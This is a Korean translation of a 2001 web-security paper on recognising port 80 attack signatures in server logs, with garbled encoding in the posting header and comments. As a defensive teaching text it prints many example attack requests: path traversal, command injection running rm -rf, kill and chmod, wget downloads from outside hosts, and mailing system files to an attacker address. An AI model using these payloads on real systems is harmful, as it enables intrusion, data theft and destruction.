80¹ø Æ÷Æ® °ø°Ý ¡ÈÄ01.txt
¼¼¹ú½_80¹ø_Æ÷Æ®_°ø°Ý_¡ÈÄ01.txt (23.5K), Down : 6, 2017-07
¼¼¹ú½_80¹ø_Æ÷Æ®_°ø°Ý_¡ÈÄ01.doc (84.5K), Down : 4, 2017-07
¼¼¹ú½_80¹ø_Æ÷Æ®_°ø°Ý_¡ÈÄ01.pdf (59.8K), Down : 14, 2017-07
80번 포트 공격 징후 01
+---------------------------------------------------------------+
원문서 제목 : "Fingerprinting Port 80 Attacks:
A look into web server, and web application attack signatures."
원문서 저자 : Zenomorph *****@***********.com
원문서 작성일 : 2001. 11. Cgisecurity.com
문 서 번역일 : 2003. 06. 03.
문 서 번역자 : 광주광역쉬에서 세벌쉭
코 멘 트 : 본 번역본은 순전히 개인적인 호기심에서 번역한 것이다.
조금이라도 의심스러운 해석은 원문서를 참조하기 바란다.
+---------------------------------------------------------------+
I. Introduction
II. Common Fingerprints
III. Advanced Fingerprints
IV. Overflows
V. Hex Encoding
VI. Conclusion
I. Introduction:
=============
포트 80은 웹사이트를 위한 표준 포트이다. 그것은 많은 보안 이슈들을 가지고 있다. 이러한 보안홀들은 공격자가 웹사이트나 웹서버 그자체에 관리자 권한으로 접근하는 것을 허용한다. 이 문서는 이들 공격자들이 사용하는 몇몇 신호(기호)들에 대해서 알아보고 당신의 로그들(당신이 운영하고 있는 서버의 로그)에서 찿아 볼것들이 무엇인지를 알아 보기로 하자.
II. Common Fingerprints:
======================
이 부분은 웹사이트 어플리케이션들과 웹서버들의 익스플로잇 안에서 사용되어지는 일반적인 핑거프린트(fingerprints, 징후,특징)의 예제들을 가지고 있다. 이 부분은 당신에 모든 가능한 핑거프린트를 보여주는것을 가정하지 않고 대신에 당신에게 익스플로잇 하는데 중요한 것들을 보여 줄것이다. 그리고 공격을 보여 줄 것이다. 이들 기호(시그니쳐)들은 공격자가 사용하는 알려지고 잘 알려지지 않는 것들 중에서 선택 했다. 이 부분은 각 기호의 사용법에 대해서 설명을 하거나 그것이 어떻게 공격에 사용되어지는지를 보여 줄 것이다.
"." ".." and "..." Requests
----------------------
이것은 웹 어플리케이션과 웹서버를 익스플로잇하는데 사용되어지는 가장 일반적인 공격 기호이다. 공격자나 웜이 당신의 웹서버 안에서 공개적인 않는 부분을 접근하기 위해서 디렉토리를 변경 하는 것을 허용한다. 대부분의 CGI 보안홀들은 몇개의 ".." 요청들을 포함 할 것이다. 예제 :
* http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
이것은 공격자가 당신의 웹서들에게 오늘에 메시지 화일을 요청하는 것을 보여준다. 만일 공격자가 당신의 웹서버 루트 디렉토리 이외 부분을 조사할 수 있는 능력을 가지고 있다면 더많은 권한을 얻기에 충분한 정보를 수집할 가능성을 가지고 있다.
"%20" Requests
--------------
이것은 공란(스페이스)의 16 진수 값이다. 이것 당신이 공격당하고 있다는 것을 의미하는 것은 아니지만 당신이 당신의 로그들을 조사를 원하고 있는 어떤 것이다. 당신이 실행하고 있는 몇몇 웹 어플리 케이션들은 유용한 요청들에서 이들 문자를 사용할 수도 있다. 그래서 당신의 로그들을 주의깊게 점검해 보라. 즉, 이 요청은 때때로 명령들을 실행 하는 것을 돕기 위해서 사용되어 진다. 예제 :
* http://host/cgi-bin/lame.cgi?page=ls%20-al| (즉, 유닉스 시스템 상에서는 >ls -al 로 명령을 실행한다.)
예제는 공격자가 유닉스 상에서 ls 명령을 실행 하고 있는 것을 보여 준다. 그리고 ls 에 인자를 주고 있다. 인자는 공격자가 디렉토리 내의 모든 리스트를 요청하고 있는 것을 보여 준다. 이것은 공격자가 당신 시스템상에 있는 중요한 화일에 접근을 허용 할 수 있다. 그리고 더 많은 권한을 획득하기 위해서 어떻게 해야 하는지에 대한 아이디어를 제공 할 수가 있다.
"%00" Requests
----------------
이것은NULL 바이트의 16진수(헥사, 추후 핵사라고 번역) 값이다. 이것은 웹 어플리케이션이 다른 화일 타입이 요청되었다는 오판을 하도록 할 때 사용되어 진다. 예제 :
* http://host/cgi-bin/lame.cgi?page=index.html
예제는 이 머신 상에서 유효한 요청이다. 만일 공격자가 이러한 문장을 보게 된다면 그는 확실히 이 어플리 케이션에 보안홀이 있다는 것을 증명 할 것이다.
* http://host/cgi-bin/lame.cgi?page=../../../../etc/motd
웹 어플리케이션은은 이 요청을 허락하지 않는다. 왜냐하면 .htm , .html, .shtml, 나 다른 화일 타입들로 끝나는 화일이름을 위한 체크를 하기 때문이다. 많은 시간동안 어플리케이션은 당신에게 말 할 것이다. 이것은 이 어플리케이션을 위해서 유효한 화일 타입이 아니라고 말이다. 종종 웹 어플리케이션(이후 "웹 어플"로 번역)은 화일 네임으로 끝나야만 한다고 알려 줄 것이다. 이런 경우에 공격자는 서버의 패스 와 화일이름 수집 할 수가 있다. 더 나아가서 당신 시스템에 관한 더많은 정보를 수집 할 수 있을 것이다.
* http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html
이 요청은 어플에서 접근 가능한 미리정의된 화일 타입을 가지고 있다고 속이고 있다. 몇몇 원 어플들은 유효한 화일 요청을 체크하는데 간과하는 경향이 있다. 이것은 공격자가 사용하는 일반적인 방법이다.
"|" Requests
------------
이것은 파이프 문자이다. 이 문자는 유닉스 상에서 한번에 여러 명령을 실행하기 위해서 자주 사용 되어진다. 예제 :
Example: #cat access_log| grep -F "/../"
(이것은 공격자들과 웜들에 의해서 자주 사용되어지는 요청들에 대한 것을 조사 하고 있다.) 가끔 유효한 웹 어플들은 이 문자를 사용 할것이다. 그래서 공격탐지 시스템 로그 상에 잘못된 경보 메시를 야기시킨다. 당신 소프트웨어의 자세한 조사해 보아라. 그렇게 함으로서 잘못된 경보 비율을 줄일수 있다. 예제 :
* http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|
이 요청은 ls 명령이 실행 되어 지도록 요구 하고 있다. 다음은 또다른 불법적인 요청이다.
* http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|
이 요청은 유닉스 시스템 상에서 etc 디렉토리의 모든 리스트를 요청 하고 있다.
* http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame"
이 요청은 cat 명령을 실행 하고 grep 명령을 -i 옵션과 함게 실행 하고 있다.
";" Requests
------------
이것은 유닉스 시스템 상에서 한행에 여러 명령을 실행 하는 것을 허용하는 문자이다.
Example: #id;uname -a (이것은 id 명령을 실행한 후에 uname 명령을 실행하도록 하고 있다)
가끔 웹 어플은 이 문자를 사용한다. 그래서 침입탐지 시스템 로그에 가짜 경보를 발령한다. 다시한번 강조 하지만 당신 소프트웨의 자세한 조사 해보라 그럼으로서 잘못된 경보 비율을 줄일 수 있을 것이다.
"<" and ">" Requests
-------------------
이 문자들은 다양한 이유들 때문에 로그들 상에서 검사 되어진다. 첫번째 이들 문자들은 화일들에 데이타를 덧붙이게 된다.
Example 1: #echo "your hax0red h0 h0" >> /etc/motd
(이것은 이 화일안에 정보를 덧붙이는 것을 시도하는 요청을 보여준다.) 공격자는 당신 사이트를 욕먹이기 위해서 이와 같은 요청을 간단하게 사용할 수 있다. rain.frest.puppy 에 만들어진 유명한 RDS 는 공격자에 의해서 웹사이트의 메인페이지안에 정보를 추가 하기 위해서 자주 사용된다. attrition.org 를 조사해 보라. 아무런 정돈된 이미지가 사라진 해킹된 웹사이트들을 조사해 보라.
Example 2: http://host/something.php=Hi%20mom%20I'm%20Bold!
이 요청은 크로스 사이트 서버 스크립트 공격의 예제이다. 당신은 <, > 문자들을 사용하는 html 태그들을 알아 차렸을 것이다. 공격의 이런 형태는 공격자들이 시스템에 접근하는 것은 허용 하지는 않을 것이다. 하지만 웹사이트 상에 있는 정보들이 거짓이 아님을 알고 있는 사람들에게는 많은 혼란을 초래하게 할수 있을 것이다.(물론 공격자가 원하는 링크를 그들이 방문 하는 것이 필요 하다. 요청은 헥사 문자들로 코딩되어 숨겨질 것이이므로 명확하지 않을 것이다.)
"!" Requests
------------
이 문자는 서버 사이드 인클루드(SSI) 공격들에 자주 사용되어진다. 이들 공격들은 만일 공격자가 사용자가 링크를 클릭 했을때 바보로 만들기를 원한다면 공격자에게 크로스 사이트 스크립팅 익스틀로이션을 실행하는 것과 같은 비슷한 결과를 허용한다.
"="" host2="" href="http://host1/something.php=http://host1/something.php=
이것은 공격자가 행할 수 있는 무언가에 대한 예제이다. 이것은 기본적으로 host2 에 있는 화일을 포함하고 있다. 그리고 그것이 host1 에 나타나도록 한다. (물론 공격자가 원하는 링크를 그들이 방문 하는 것이 필요 하다. 요청은 헥사 문자들로 코딩되어 숨겨질 것이이므로 명확하지 않을 것이다.)
이것은 당신의 웹 서버 사용자 권한으로 당신 시스템 상에서 그가 명령을 실행하게 허락 할 수도 있다. 예제 :
"="">http://host/something.php=
이것은 리모트 시스템 상에서 id 명령을 실행한다. 이것은보통 사용자가 nobody 이거나 www 인 웹 서버의 사용자 id 를 보여 주게 될 것이다.
이것은 숨겨화일들의 침입을 허락한다. 예제 :
"="" href="http://host/something.php=http://host/something.php=
이것은 .htpasswd 화일을 포함한다. 이 화일은 일반적으로 보여지는 것이 허락되어지지 않다. 아파치는 .ht 에 대한 요청을 거부하는 규칙을 가지고 있다. SSI 태그는 이것을 통과 하게 되고 보안 문제를 야기 시킬 수 있다.
"-------------
이것은 리모트 웹 어플안에 php를 삽입시도를 할때 사용되어 진다. 서버 셋업과 다른 요소들에 따라서 명령 실행이 가능하게 한다. 예제 :
http://host/something.php= passthru("id");?>
부실하게 작성된 php 어플 상에서 웹서버 사용자 권한하에서 리모트 호스트상에서 이명령의 수행을 허용할 수 있다.
이 챕터에 대한 추가는 공격자가 이러한 요청들을 헥사로 코딩 할 수 있다는 것이다. 일반 적이지 않는 것들을 조사해 보라. 의심이 가는 것들 또한 조사해 보라.
http://host/something.cgi=`id`
부실하게 작성된 웹 어플상에서 이것은 perl 안에서 id 명령을 실행 하게 할 것이다.
III. Advanced Signatures:
========================
이 부분은 공격자가 실행하는 명령들, 요청되어지는 화일들, 원격명령 실행을 어떻게 발견 하는가에 초점을 맞추고 있다. 이것은 공격자가 요청하는 완벽한 명령들, 화일들의 리스트가 아니다. 무슨일이 일어 나고 당신 시스템을 공격하는 하는 시도에 대한 좋은 아이디어를 제공 할 것이다.
* 공격자나 웜이 실행하는 일반적인 명령들
====================================
"/bin/ls"
--------
이것은 ls 명령의 실행 코드이다. 이것은 풀 패스로 일반적인 웹 어플 보안홀을 위해서 요청되어진다. 만일 당신이 당신의 로그상의 아무 곳에서 이러한 요청을 보게 된다면 리모트 명령실행 보안홀에 의해서 당신의 시스템이 영향을 받았다는것을 알아차리는 기회가 될것이다. 이것이 항상 문제가 되는 아니다. 잘못된 경보가 될수도 있다. 당신의 웹 어플을 한번더 탐독해 보기 바란다. 만일 가능하다면 당신의 로그상에 보여지는 같은 요청으로 테스트를 해보기를 바란다. 가능한 실행에 대한 출력또한 확인해 보기 바란다.
Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|
Example: http://host/cgi-bin/bad.cgi?doh=ls%20-al;
"cmd.exe"
---------
이것은 윈도우즈 쉘이다. 만일 이 스크립트를 실행하는 접근을 했다면 공격자는 서버 권한에 따라서 윈도우 머신 상에서 모든것을 할수가 있다. 포트 80과 관련이 있는 대부분의 인터넷 웜은 다른 리모트 시스템에 자신들을 퍼트리는데 도움을 주기 위해서 cmd.exe 를 사용한다.
http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:\
"/bin/id"
-------
이것은 id 명령의 실행 화일이다.이명령은 당신이 어떤 사용자인지와 어떤 그룹에 속해 있는지를 보여 준다. 이것은 풀 패스로 일반적인 웹 어플 보안홀을 위해서 요청되어진다. 만일 당신이 당신의 로그상의 아무 곳에서 이러한 요청을 보게 된다면 리모트 명령실행 보안홀에 의해서 당신의 시스템이 영향을 받았다는것을 알아차리는 기회가 될것이다. 이것이 항상 문제가 되는 아니다. 잘못된 경보가 될수도 있다. 만일 가능하다면 당신의 로그상에 보여지는 같은 요청으로 테스트를 해보기를 바란다. 가능한 실행에 대한 출력또한 확인해 보기 바란다.
Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|
Example: http://host/cgi-bin/bad.cgi?doh=id;
"/bin/rm"
--------
이것은 rm 명령의 실행 화일이다. 이것은 풀 패스로 일반적인 웹 어플 보안홀을 위해서 요청되어진다. 만일 당신이 당신의 로그상의 아무 곳에서 이러한 요청을 보게 된다면 리모트 명령실행 보안홀에 의해서 당신의 시스템이 영향을 받았다는것을 알아차리는 기회가 될것이다. 이것이 항상 문제가 되는 아니다. 잘못된 경보가 될수도 있다. 즉, 이명령은 화일을 삭제하는 것을 허용한다. 만일 공격자에 의해서 부적당하게 사용되어진다면 매우 위험하다. 만일 가능하다면 당신의 로그상에 보여지는 같은 요청으로 테스트를 해보기를 바란다. 가능한 실행에 대한 출력또한 확인해 보기 바란다. 만일 이 요청이 중요한 화일에 관한 요청이라면 이것을 실행하기전에 판이 필요 할 것이다. 만일 그것이 stupid.txt 화일을 지우고 요청된 사이트안에 보여지는 것이 나타나지 않는다면 화일을 새로 만들고 그것을 테스트 해 보아라
Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|
Example: http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;
"wget and tftp" commands
-----------------------
이 명령들은 공격자와 웜이 더 많은 시스템 권한을 얻기 위해서 사용되어지는 화일 다운로드 받을때 사용되어진다. wget 은 백도어를 다운로드 하기위해서 사용되어지는 유닉스 명령이다. tftp 화일들을 다운로드 할때 사용되어지는 유닉스와 엔티 명령이다. 몇몇 IIS 웜은 감염된 호스트에 자신을 유지하기 위해서 그것들의 복사본을 다운로드 하는데 이명령을 사용한다.
Example: http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c|
Example: http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;
"cat" command
--------------
이 명령은 화일의 내용을 보기위해서 사용한다. 이것은 설정화일들, 패스워드화일들, 크레디트 화일들과 당신이 생각할수 이는 어떤 다른 것들과 같은 중요한 정보를 읽기 위해서 사용한다.
Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd|
Example: http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;
"echo" command
----------------
이 명령은 index.html 과 갈은 화일에 데이타를 덧붙이기 위해서 사용한다.
Example: >%200day.txt|"="" href="http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20">http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt|
Example: >%200day.txt;"="" href="http://host/cgi-bin/bad.cgi?doh=echo%20">http://host/cgi-bin/bad.cgi?doh=echo%20"fc-#kiwis%20was%20here"%20>>%200day.txt;
"ps" command
-------------
이 명령은 실행되고 있는 프로세스들을 보여준다. 이것은 리모트 호스트가 어떤 보안 소프트웨어를 실행하고 있는지를 공격자에게 보여준다. 또한 호스트가 가지고 있는 다른 보안홀들에 대한 아이디어를 제공하게 될 것이다.
Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux|
Example: http://host/cgi-bin/bad.cgi?doh=ps%20-aux;
"kill and killall" commands
-----------------------
이들 명령들은 유닉스 시스템 상에서 프로세스를 종료시키는데 사용되어진다. 공격자는 시스템 서비스나 프로그램을 정지 시키기 위해서 사용한다. 공격자는 만일 그가 사용하는 익스플로잇이 많은 차일드 프로세스들을 실행하거나 비정상적으로 종료되어질때 그의 흔적을 지우기 위해서 이명령을 사용한다.
Example: http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200|
Example: http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;
"uname" command
-------------------
이 명령은 리모트 시스템의 호스트명을 공격자에 알려 주는데 사용된다. 가끔 웹사이트는 ISP 상에서 서비스되어진다. 이명령은 공격자가 접근하는 ISP 에 대한 아이드를 얻는데 사용되어진다. 일반적으로 uname -a 는 로그상에 "uname%20-a" 로 나타나게 된다.
Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a|
Example: http://host/cgi-bin/bad.cgi?doh=uname%20-a;
"cc, gcc, perl, python, etc..." 컴파일러들과 인터프리터 명령들. "cc" and "gcc" 명령들은 프로그램의 컴파일을 허용한다. 공격자는 화일을 다운로드 하기 위해서 wget 이나 tftp 을 사용 할 수있다. 이러한 컴파일러들은 익스플로잇을 컴파일 하기위해서 사용한다. 이러한 것들로 부터 가능한 것은 로컬 시스템 익스플로잇을 포함한다.itation.
Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c|
Example: http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;
만일 당신이 perl 이나 python 요청을 보게된다면 공격자에게 리모트 펄이나 파이선 스크립트를 다운로드하는 것이 가능하다. 마침내 공격자는 당신의 시스템에 대해 로컬 공격을 시도 할 것이다.
"mail" command
---------------
이 명령은 공격자가 소유한 이메일 어드레스에 화일을 보내기 위해서 사용한다. 또한 스팸메을 보낼때 사용한다. 이러한 방법으로 스팸을 보내는 것은 발견하기 매우 어렵다.(매우 쉽지 않다. ^.^)
Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/mail%20attacker@hostname%20<<%20/etc/motd|
Example: http://host/cgi-bin/bad.cgi?doh=*************@******.whitehouse.gov%20<
Example: http://host/cgi-bin/bad.cgi?doh=../../../../usr/X11R6/bin/xterm%20-display%20192.168.22.1|
Example: http://host/cgi-bin/bad.cgi?doh=Xeyes%20-display%20192.168.22.1;
"chown, chmod, chgrp, chsh, etc..." commands
--------------------------------------------
이 명령들은 유닉스 시스템 상에서 퍼미션을 변경 시킬때 사용한다. 각각 어떤 것을 실행 하는지 아래 리스트를 보라.
chown = 화일에 대한 사용자 소유권을 세팅한다.
chmod = 화일 퍼미션을 세팅하는데 사용한다.
chgrp = 그룹 소유권을 변경하는데 사용한다.
chsh = 사용자가 그가 사용하는 쉘을 변경할때 사용한다.
Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chmod%20777%20index.html|
Example: http://host/cgi-bin/bad.cgi?doh=chmod%20777%20index.html;
Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chown%20zeno%20/etc/master.passwd|
Example: http://host/cgi-bin/bad.cgi?doh=chsh%20/bin/sh;
Example: http://host/cgi-bin/bad.cgi?doh=../../../../bin/chgrp%20nobody%20/etc/shadow|
* 공격자가 요청하는 일반적인 화일들
================================
"/etc/passwd" File
-----------------
시스템 패스워드 화일이다. 보통 쉐도우되어 져서 공격자에서 암호된 패스워드를 제공하지 않는다. 한편 공격자에게 유효한 사용자이름, 시스템 패스, 가능한 사이틀의 호스트를 제공하게된다. 만일 이화일이 쉐도우화 되어져 있다면 공격자는 /etc/shadow 화일을 들여다 보게 될 것이다.
"/etc/master.passwd"
-------------------
BSD 시스템 패스워드 화일이다. 암호화된 패스워드를 포함하고 있다. 이 화일은 단지 root 계정 사용자만 읽을 수 있다. 하지만 경험없는 공격자는 그것을 보기 위한 열망으로 그 화일을 조사 할 수 있다. 만일 웹서버가 root 계정으로 실행되고 있다면 공격자는 이 화일을 읽을 수가 있을 것이다. 시스템 관리자는 수많은 문제에 봉착하게 될 것이다.
"/etc/shadow"
------------
암호화된 패스워드를 포함하고 있는 시스템 패스워드 화일이다. 이 화일은 단지 root 계정 사용자만 읽을 수 있다. 하지만 경험없는 공격자는 그것을 보기 위한 열망으로 그 화일을 조사 할 수 있다. 만일 웹서버가 root 계정으로 실행되고 있다면 공격자는 이 화일을 읽을 수가 있을 것이다. 시스템 관리자는 수많은 문제에 봉착하게 될 것이다.
"/etc/motd"
----------
시스템상에서 오늘에 메시지 화일은 그들이 유닉스 시스템 에 로긴 할때 사용자에게 보여주는 첫번째 메시지를 담고 있다. 시스템 관리자가 사용자들에게 보여주기를 원하는 중요한 시스템 정보를 제공한다. 공격자는 이 화일을 조사한다. 그래서 시스템이 작동하고 있다는 것을 알 수 있다. 여기에서 OS 를 조사하고 시스템에 더 많은 접근 허용을 획득하기위해 사용되어지는 익스플로잇들을 수집한다.
"/etc/hosts"
-----------
이 화일은 ip 주소 와 네트워크 정보에 관한 정보를 제공한다. 공격자는 당신의 시스템/네트워크 셋업에 관한 더많은 정보를 발견하는데 이정보를 사용 할 수 있다.
"/usr/local/apache/conf/httpd.conf"
--------------------------------
이 화일에 대한 패스는 다를 수가 있지만 이것이 일반적인 패스이다. 이것은 아파치 웹 서버 설정 화일이다. 공격자는 이서버가 CGI 나 SSI 접속을 허용하는지에관 어떤 특별한 정보들을 얻을 수 있다.
"/etc/inetd.conf"
--------------
이 것은 inetd 서비스의 설정 화일이다. 이 화일은 리모트 시스템이 사용하고 있는 시스템 데몬들에 관한 것을 포함하고 있다. 공격자는 리모트 시스템이 랩퍼(warapper) 를 사용하고 있는지를 조사 할 수 있다. 만일 랩퍼가 사용되고 있는것으로 발견되어지면 공격자는 "/etc/hosts.allow" 과 "/etc/hosts.deny" 화일을 조사할 것이고 더많은 권한을 획득하기 위해서 이 화일들을 수정 하고자 할 것이다.
".htpasswd, .htaccess, and .htgroup"
----------------------------------
이 화일들은 웹사이트에서 패스워드 인증을 위해서 사용된다. 공격자는 사용자이름과 패스워드를 수집하기 위해서 이를 화일들의 내용을 보기를 시도 할 것이다. 패스워드는 htpasswd 화일에 있고 암호화 되여져 있다. 간단한 패스워드 크랙커와 몇번의 시도 는 공격자가 당신의 웹사이트의 보호된 부분에 대한 암호를 확인하는 접근을 허용 할 수 있다. 그리고 다른 계정들에 관해서도 가능하다.( 많은 사람들이 모든 것을 위해서 같은 이름과 같은 패스워드를 사용한다. 이러한 것은 공격자가 이 사용자가 가지고 있는 다른 계정에 접근 하도록 허용한다.)
"access_log and error_log"
------------------------
이것은 아파치 웹 서버의 로그 화일들이다. 공격자는 자신의 로그와 다른 사람들의 로그를 보기 위해서 로그를 조사한다. 공격자는 이들 로그들을 편집 하고 그의 호스트 네임에 대한 어떤 참조들을 조정하게 될 것이다. 만일 공격자가 80번 포트를 통해서 당신에 시스템을 뚫게 되었다면 발견하기 어려울 것이다. 만일 이 화일들이 백업받아 져 있지 않거나 듀얼로 로그 되어져 있지 않다면 말이다.
"[drive-letter]:\winnt\repair\sam._ or [drive-letter]:winnt\repair\sam"
------------------------------------------------------------------
이것은 윈도우즈 엔티 패스워드 화일이다. 만일 리모트 명령 실행이 가능하지 않다면 공격자는 이 화일을 요청 할 것이다. 이경우에 공격자는 리모트 윈도우즈 머신상에 있는 패스워드를 크랙하기 위해서 "l0pht crack" 과 같은 프로그램을 실행할 것이다. 만일 공격자가 관리자 패스워드를 크랙하기 위해서 조작을 한다면 리모트 머신은 이제 작업으로 부터 완전히 자유롭게 될 것이다.
IV. Overflows:
==============
나는 이문서 안에서 버퍼 오버 플로에 대한 것을 취급 하지 않았다. 하지만 경계하기 위해서 예를 보이고자 한다. 버퍼 오버플러는 인코딩과 다른 수법들을 당황 스럽게 한다. 예제 :
http://host/cgi-bin/helloworld?type=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
공격자가 버퍼오버플러를 테스트 하기 위해서 많은 A 문자를 보내는 것을 보여 준다. 버퍼 오버플러는 공격자로 하여금 리모트 명령을 실행 할수 있게 해준다. 만일 어플리케이션이 suid 이고 루트에의해서 소유되어져 있다면 공격자가 시스템의 모든것에 접근 할수 있도록 해준다. 만일 suid 아니다면 그것들은 웹서버의 사용자 아이디가 할수 있는 가능한 명령 실행을 허용한다.
버퍼 오버플러는 보여지는 것보다 다양한 것들이 있다. 이문서는 모든 가능한 예제를 보여 주지는 않고있다. 당신 로그를 규칙적으로 검사해 보는것은 좋은 습관이다. 만일 당신이 당신이 사이트 받는 일박적인 작은 요청보다 크기가 큰 요청을 보게 된다면 공격자로 부터의 버퍼 오버플러 공격시도를 가정해 볼수 있다. 또는 당신 머신을 공격하는 새로운 인터넷 웜일 가능성이 있다.
V. Hex Encoding:
==================
위에 있는 징후들에서 만들어진 모든 예제들과 함께 공격자들은 IDS 시스템이 단지 문자 그자체의 방법들로 된 그러한 요청들을 검사 한다는 것을 알고 있다. 많은 시간동안 공격자들은 그들의 요청을 헥사코드로 코딩한다. 그래서 IDS 시스템은 요청을 놓치게 될 것이다. CGI 스캐너는 Whisker 가 이것의 대분에 대한 예제를 알고 있다(??The CGI scanner known as Whisker is a great example of this.??). 만일 당신이 당신의 로그를 보고 많은 헥사코드나 비정상적인 문자에 주의를 기울이게 된다면 공격자가 당신의 시스템을 몇가지 방법으로 공격하고 있다는 것을 알아 차릴 수 있을 것이다. 만일 당신이 일반적인 404 페이지들을 가지고 있지 않다면 그것의 출력이 따라서 정확한 요청이 무엇인지를 볼 수 있을 것이다.( If you do not have custom 404 pages, then the hex will we translated and you will be able to see exactly what the request is, along with its output). 만일 당신이 이러한 위험을 감수 하기를 원하지 않는다면 "man ascii" 명령을 간단하게 실행 함으로서 헥사코드의 의미를 알 수 있을 것이다.
VI. Conclusion:
==============
이 문서는 80번 포트의 모든 익스플로잇을 다루고 있지 않다. 하지만 공격의 대부분 일반적인 형태를 취급한다. 당신 로그 상에서 체크 할것이 무엇인지를, IDS 규칙에 어떠한 것을 추가해야 할지를 알려 주고 있다. 이 문서는 웹서버 관리자들에게 경계해야하는 생각을 고취시키기 위해서 작성되었다. 나는 이 문서가 웹 개발자들이 더 좋은 어플리 케이션들을 만드는데 도움이 되기를 희망한다. 나는 이 문서를 일요일날 약 한시간 동안 썼다. 그래서 만일 당신이 언급 하고 싶은 말이나 제안들이 있다면 나의 이메일 주소로 연락 바란다. *****@***********.com.
Published to the Public November 2001
Copyright November 2001 Cgisecurity.com
±× ÁîÀ½Âë¿¡ ÇÑÂü...
Àç¹ÌÀÖ°Ô °øºÎÇß´ø Ãß¾ïÀ̳׿ä....
°í¼öµé¿¡ ÀÚ·áµéÀ» ŽÀÍÇÏ°í, ÇÑ±Û ÀÚ·á ¾ø´Â °ÍÀº Á÷Á¢ ¹ø¿ªÇÏ°í.... ^^
°¨»çÇÕ´Ï´Ù :D
ÈÄ´Ù´Ú
Àç¹Ì·Î¸¸ Àо½Ã±æ ~~ ^^